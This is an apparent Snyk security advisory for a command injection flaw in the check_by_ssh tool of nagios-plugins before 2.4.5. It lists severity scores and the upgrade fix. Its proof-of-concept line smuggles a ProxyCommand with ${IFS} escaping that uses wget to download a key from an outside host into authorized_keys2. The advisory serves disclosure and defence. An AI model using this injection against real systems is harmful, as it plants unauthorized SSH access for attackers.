Command Injection Affecting nagios-plugins/nagios-plugins package, versions [1.0.0,2.4.5)


Severity

Recommended
0.0
medium
0
10

CVSS assessment made by Snyk's Security Team

    Threat Intelligence

    Exploit Maturity
    Proof of concept
    EPSS
    0.05% (17th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • Snyk ID SNYK-UNMANAGED-NAGIOSPLUGINSNAGIOSPLUGINS-8179648
  • published 10 Oct 2024
  • disclosed 9 Oct 2024
  • credit Joshua Rogers

How to fix?

Upgrade nagios-plugins/nagios-plugins to version 2.4.5 or higher.

Overview

Affected versions of this package are vulnerable to Command Injection through the check_by_ssh process. An attacker can execute arbitrary commands by exploiting the ProxyCommand, LocalCommand, and PermitLocalCommand options with special characters such as ${IFS}.

PoC

check_by_ssh --command=ls -s 1 -H my-server.net -l someuser -v -o PermitLocalCommand=yes -o StrictHostKeyChecking=no -o ProxyCommand=wget\${IFS}-O\${IFS}.ssh/authorized_keys2\${IFS}http://my-website.com/pubkey.txt"

CVSS Scores

version 4.0
version 3.1
Expand this section

Snyk

Recommended
6.3 medium
  • Attack Vector (AV)
    Network
  • Attack Complexity (AC)
    High
  • Attack Requirements (AT)
    None
  • Privileges Required (PR)
    None
  • User Interaction (UI)
    None
  • Confidentiality (VC)
    Low
  • Integrity (VI)
    None
  • Availability (VA)
    None
  • Confidentiality (SC)
    Low
  • Integrity (SI)
    None
  • Availability (SA)
    None